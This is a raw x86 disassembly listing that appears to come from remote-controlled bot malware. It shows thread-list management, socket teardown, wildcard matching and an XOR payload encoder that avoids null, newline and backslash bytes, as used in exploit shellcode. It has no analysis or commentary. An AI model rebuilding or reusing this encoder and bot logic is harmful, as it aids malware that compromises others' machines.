
loc_416C6F:				; CODE XREF: sub_416C53+8j
					; sub_416C53+Ej ...
		inc	[ebp+arg_C]

loc_416C72:				; CODE XREF: sub_416C53+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416C9A
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416C93
		cmp	al, 0Dh
		jz	short loc_416C93
		cmp	al, 5Ch
		jz	short loc_416C93
		test	al, al
		jnz	short loc_416C9A

loc_416C93:				; CODE XREF: sub_416C53+32j
					; sub_416C53+36j ...
		add	[ebp+arg_C], 100h

loc_416C9A:				; CODE XREF: sub_416C53+28j
					; sub_416C53+3Ej
		push	[ebp+arg_C]
		call	sub_416C38
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416CB2
		cmp	eax, 0FFFFh
		jbe	short loc_416CB9

loc_416CB2:				; CODE XREF: sub_416C53+56j
		xor	eax, eax
		jmp	loc_416D57
; ---------------------------------------------------------------------------

loc_416CB9:				; CODE XREF: sub_416C53+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, ds:byte_489FE8
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416CE9

loc_416CCD:				; CODE XREF: sub_416C53+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416CE0
		cmp	al, 0Ah
		jz	short loc_416CE0
		cmp	al, 0Dh
		jz	short loc_416CE0
		cmp	al, 5Ch
		jnz	short loc_416CE4

loc_416CE0:				; CODE XREF: sub_416C53+7Fj
					; sub_416C53+83j ...
		inc	bl
		xor	edx, edx

loc_416CE4:				; CODE XREF: sub_416C53+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416CCD

loc_416CE9:				; CODE XREF: sub_416C53+78j
		cmp	ecx, esi
		mov	ds:byte_489FE8,	bl
		ja	short loc_416D15
		push	15h
		push	offset loc_439424
		push	[ebp+arg_0]
		mov	ds:byte_439431,	cl
		mov	ds:byte_439435,	bl
		call	sub_417390
		add	esp, 0Ch
		push	15h
		jmp	short loc_416D36
; ---------------------------------------------------------------------------

loc_416D15:				; CODE XREF: sub_416C53+9Ej
		push	17h
		push	offset loc_43940C
		push	[ebp+arg_0]
		mov	ds:word_43941A,	cx
		mov	ds:byte_43941F,	bl
		call	sub_417390
		add	esp, 0Ch
		push	17h

loc_416D36:				; CODE XREF: sub_416C53+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416D52
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]

loc_416D44:				; CODE XREF: sub_416C53+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416D44

loc_416D52:				; CODE XREF: sub_416C53+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_416D57:				; CODE XREF: sub_416C53+61j
		pop	esi
		leave
		retn
sub_416C53	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D5A	proc near		; CODE XREF: sub_4060D0+227p
					; sub_407252+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_444EC0

loc_416D62:				; CODE XREF: sub_416D5A+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416D76
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_489C50
		jl	short loc_416D62
		jmp	short loc_416DC1
; ---------------------------------------------------------------------------

loc_416D76:				; CODE XREF: sub_416D5A+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_444EC0[esi]
		push	eax
		call	sub_418C10
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_4450C0[esi], eax
		and	ds:dword_4450C4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_4450C8[esi], 0
		mov	ds:dword_4450CC[esi], eax
		and	ds:byte_4450D8[esi], 0
		pop	esi

loc_416DC1:				; CODE XREF: sub_416D5A+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416D5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DC5	proc near		; DATA XREF: sub_40EE72+5BFFo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_416E17
		push	[ebp+var_14]
		call	sub_417076
		add	esp, 14h
		push	0
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
sub_416DC5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E17	proc near		; CODE XREF: sub_416DC5+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_444EC0

loc_416E41:				; CODE XREF: sub_416E17+78j
		cmp	byte ptr [esi],	0
		jz	short loc_416E82
		cmp	[ebp+arg_C], 0
		jnz	short loc_416E55
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_416E82

loc_416E55:				; CODE XREF: sub_416E17+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h

loc_416E82:				; CODE XREF: sub_416E17+2Dj
					; sub_416E17+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_489C50
		jl	short loc_416E41
		pop	edi
		pop	esi
		leave
		retn
sub_416E17	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E95	proc near		; CODE XREF: sub_40EE72+4DD7p
					; sub_416F23+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416F1D
		cmp	esi, 1F4h
		jge	short loc_416F1D
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_4450D4[esi]
		lea	edi, dword_4450D4[esi]
		call	ds:dword_424168	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_416ECD
		push	1
		pop	ebp

loc_416ECD:				; CODE XREF: sub_416E95+33j
		mov	[edi], ebx
		lea	edi, dword_4450C8[esi]
		mov	ds:dword_4450C0[esi], ebx
		mov	ds:dword_4450C4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416EEE
		push	eax
		call	sub_415417
		pop	ecx

loc_416EEE:				; CODE XREF: sub_416E95+50j
		mov	[edi], ebx
		lea	edi, dword_4450CC[esi]
		mov	byte ptr ds:dword_444EC0[esi], bl
		mov	ds:byte_4450D8[esi], bl
		push	dword ptr [edi]
		call	ds:dword_43F700	; closesocket
		lea	esi, dword_4450D0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_43F700	; closesocket
		mov	[esi], ebx
		pop	edi

loc_416F1D:				; CODE XREF: sub_416E95+Dj
					; sub_416E95+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416E95	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F23	proc near		; CODE XREF: sub_40AC42:loc_40AC66p
					; sub_40D3A5+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_444EC0

loc_416F2F:				; CODE XREF: sub_416F23+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416F40
		push	edi
		call	sub_416E95
		test	eax, eax
		pop	ecx
		jz	short loc_416F40
		inc	ebx

loc_416F40:				; CODE XREF: sub_416F23+Fj
					; sub_416F23+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_489C50
		jl	short loc_416F2F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F55	proc near		; CODE XREF: sub_40EE72+1E3Dp
					; sub_40EE72+1EABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4450C4

loc_416F69:				; CODE XREF: sub_416F55+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416F8B
		test	edi, edi
		jle	short loc_416F7D
		cmp	[esi], edi
		jz	short loc_416F7D
		cmp	ebx, edi
		jnz	short loc_416F8B

loc_416F7D:				; CODE XREF: sub_416F55+1Ej
					; sub_416F55+22j
		push	ebx
		call	sub_416E95
		test	eax, eax
		pop	ecx
		jz	short loc_416F8B
		inc	[ebp+var_4]

loc_416F8B:				; CODE XREF: sub_416F55+1Aj
					; sub_416F55+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_489E54
		jl	short loc_416F69
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F55	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FA2	proc near		; CODE XREF: sub_4071DB+Bp
					; sub_407252+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4450C0

loc_416FA9:				; CODE XREF: sub_416FA2+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416FB2
		inc	eax

loc_416FB2:				; CODE XREF: sub_416FA2+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_489E50
		jl	short loc_416FA9
		retn
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FC1	proc near		; CODE XREF: sub_40EE72+5696p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4450C0

loc_416FCB:				; CODE XREF: sub_416FC1+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416FE4
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_489E50
		jl	short loc_416FCB
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_416FE4:				; CODE XREF: sub_416FC1+10j
		mov	eax, edx
		pop	esi
		retn
sub_416FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FE8	proc near		; CODE XREF: sub_40EE72+1070p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_417001
		push	[ebp+arg_1C]
		call	sub_41781F
		pop	ecx

loc_417001:				; CODE XREF: sub_416FE8+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416F55
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41702D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_417047
; ---------------------------------------------------------------------------

loc_41702D:				; CODE XREF: sub_416FE8+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4172AE
		add	esp, 10h

loc_417047:				; CODE XREF: sub_416FE8+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417067
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_417067:				; CODE XREF: sub_416FE8+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		leave
		retn
sub_416FE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_417076	proc near		; CODE XREF: sub_401000+A5p
					; sub_40144A+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_4450D4[eax], ecx
		mov	ds:dword_4450C0[eax], ecx
		mov	ds:dword_4450C4[eax], ecx
		mov	ds:dword_4450C8[eax], ecx
		mov	ds:dword_4450CC[eax], ecx
		mov	ds:dword_4450D0[eax], ecx
		mov	byte ptr ds:dword_444EC0[eax], cl
		mov	ds:byte_4450D8[eax], cl
		retn
sub_417076	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170B3	proc near		; CODE XREF: sub_40EE72+6187p
					; sub_4171E1+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_4170BD:				; CODE XREF: sub_4170B3+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41711D
		cmp	eax, 1
		jnz	short loc_41711D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41711D
		cmp	cl, 2Ah
		jz	short loc_417104
		cmp	cl, 3Fh
		jz	short loc_4170E7
		cmp	cl, 5Bh
		jz	short loc_4170EC
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_4170E7:				; CODE XREF: sub_4170B3+26j
		inc	[ebp+arg_4]
		jmp	short loc_417117
; ---------------------------------------------------------------------------

loc_4170EC:				; CODE XREF: sub_4170B3+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417149
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417117
; ---------------------------------------------------------------------------

loc_417104:				; CODE XREF: sub_4170B3+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4171E1
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_417117:				; CODE XREF: sub_4170B3+37j
					; sub_4170B3+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4170BD
; ---------------------------------------------------------------------------

loc_41711D:				; CODE XREF: sub_4170B3+Ej
					; sub_4170B3+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41712D
		cmp	eax, 1
		jnz	short loc_417144
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41711D
; ---------------------------------------------------------------------------

loc_41712D:				; CODE XREF: sub_4170B3+6Dj
		cmp	eax, 1
		jnz	short loc_417144
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417144
		cmp	byte ptr [esi],	0
		jnz	short loc_417144
		push	1
		pop	eax
		jmp	short loc_417146
; ---------------------------------------------------------------------------

loc_417144:				; CODE XREF: sub_4170B3+72j
					; sub_4170B3+7Dj ...
		xor	eax, eax

loc_417146:				; CODE XREF: sub_4170B3+8Fj
		pop	esi
		pop	ebp
		retn
sub_4170B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417149	proc near		; CODE XREF: sub_4170B3+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41716A
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_41716A:				; CODE XREF: sub_417149+19j
		push	ebx
		push	esi

loc_41716C:				; CODE XREF: sub_417149+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41717A
		cmp	[ebp+var_4], eax
		jnz	short loc_4171C6

loc_41717A:				; CODE XREF: sub_417149+2Aj
		test	edi, edi
		jnz	short loc_4171BB
		cmp	bl, 2Dh
		jnz	short loc_4171AF
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4171AF
		cmp	al, 5Dh
		jz	short loc_4171AF
		cmp	[ebp+var_4], edi
		jnz	short loc_4171AF
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4171BB
		cmp	bl, al
		jg	short loc_4171BB
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4171BB
; ---------------------------------------------------------------------------

loc_4171AF:				; CODE XREF: sub_417149+38j
					; sub_417149+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4171BB
		push	1
		pop	edi

loc_4171BB:				; CODE XREF: sub_417149+33j
					; sub_417149+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41716C
; ---------------------------------------------------------------------------

loc_4171C6:				; CODE XREF: sub_417149+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4171D3
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_4171D3:				; CODE XREF: sub_417149+82j
		cmp	edi, eax
		jnz	short loc_4171DC
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_4171DC:				; CODE XREF: sub_417149+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_417149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E1	proc near		; CODE XREF: sub_4170B3+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_4171FD:				; CODE XREF: sub_4171E1+3Aj
		cmp	[eax], bl
		jz	short loc_41721D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417212
		cmp	cl, 2Ah
		jnz	short loc_41721D
		cmp	cl, 3Fh
		jnz	short loc_417215

loc_417212:				; CODE XREF: sub_4171E1+25j
		inc	eax
		mov	[edi], eax

loc_417215:				; CODE XREF: sub_4171E1+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4171FD
; ---------------------------------------------------------------------------

loc_41721D:				; CODE XREF: sub_4171E1+1Ej
					; sub_4171E1+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_417228
		inc	dword ptr [esi]
		jmp	short loc_41721D
; ---------------------------------------------------------------------------

loc_417228:				; CODE XREF: sub_4171E1+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_417249
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41723A
		xor	eax, eax
		jmp	short loc_4172A9
; ---------------------------------------------------------------------------

loc_41723A:				; CODE XREF: sub_4171E1+53j
		cmp	cl, bl
		jnz	short loc_417249
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_417249
		push	1
		pop	eax
		jmp	short loc_4172A9
; ---------------------------------------------------------------------------

loc_417249:				; CODE XREF: sub_4171E1+4Dj
					; sub_4171E1+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4170B3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417293

loc_417257:				; CODE XREF: sub_4171E1+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_41725B:				; CODE XREF: sub_4171E1+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417273
		cmp	cl, 5Bh
		jz	short loc_417273
		cmp	dl, bl
		jz	short loc_417273
		inc	eax
		mov	[edi], eax
		jmp	short loc_41725B
; ---------------------------------------------------------------------------

loc_417273:				; CODE XREF: sub_4171E1+82j
					; sub_4171E1+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41728A
		push	eax
		push	dword ptr [esi]
		call	sub_4170B3
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41728F
; ---------------------------------------------------------------------------

loc_41728A:				; CODE XREF: sub_4171E1+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_41728F:				; CODE XREF: sub_4171E1+A7j
		cmp	eax, ebx
		jnz	short loc_417257

loc_417293:				; CODE XREF: sub_4171E1+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4172A6
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4172A6
		mov	[ebp+var_4], 1

loc_4172A6:				; CODE XREF: sub_4171E1+B6j
					; sub_4171E1+BCj
		mov	eax, [ebp+var_4]

loc_4172A9:				; CODE XREF: sub_4171E1+57j
					; sub_4171E1+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172AE	proc near		; CODE XREF: sub_401000+64p
					; sub_4010B5+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4172EE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4172FB
; ---------------------------------------------------------------------------

loc_4172EE:				; CODE XREF: sub_4172AE+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_4172FB:				; CODE XREF: sub_4172AE+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4172AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417300	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D82+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_439550, eax
		retn
sub_417300	endp


; =============== S U B	R O U T	I N E =======================================



sub_41730A	proc near		; CODE XREF: sub_4010B5+CBp
					; sub_4010B5+13Fp ...
		mov	eax, ds:dword_439550
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ds:dword_439550, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41730A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417330	proc near		; CODE XREF: sub_4010B5+281p
					; sub_40144A+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417383
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417377
		neg	ecx
		and	ecx, 3
		jz	short loc_417359
		sub	edx, ecx

loc_417353:				; CODE XREF: sub_417330+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417353

loc_417359:				; CODE XREF: sub_417330+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417377
		rep stosd
		test	edx, edx
		jz	short loc_41737D

loc_417377:				; CODE XREF: sub_417330+18j
					; sub_417330+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417377

loc_41737D:				; CODE XREF: sub_417330+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417383:				; CODE XREF: sub_417330+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417390	proc near		; CODE XREF: sub_4010B5+22Dp
					; sub_4010B5+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4173B0
		cmp	edi, eax
		jb	loc_417528

loc_4173B0:				; CODE XREF: sub_417390+16j
		test	edi, 3
		jnz	short loc_4173CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------

loc_4173CC:				; CODE XREF: sub_417390+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4173E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------

loc_4173E4:				; CODE XREF: sub_417390+46j
		jmp	dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4173EC:				; CODE XREF: sub_417390+31j
					; sub_417390+8Ej ...
		jmp	off_41746C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417400
		dd offset loc_41742C
		dd offset loc_417450
; ---------------------------------------------------------------------------

loc_417400:				; DATA XREF: sub_417390+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41742C:				; DATA XREF: sub_417390+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417450:				; DATA XREF: sub_417390+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41746C	dd offset loc_4174CF	; DATA XREF: sub_417390:loc_4173ECr
		dd offset loc_4174BC
		dd offset loc_4174B4
		dd offset loc_4174AC
		dd offset loc_4174A4
		dd offset loc_41749C
		dd offset loc_417494
		dd offset loc_41748C
; ---------------------------------------------------------------------------

loc_41748C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_417494:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41749C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4174A4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4174AC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E8o
		mov	eax, [esi+ecx*4-0Ch]
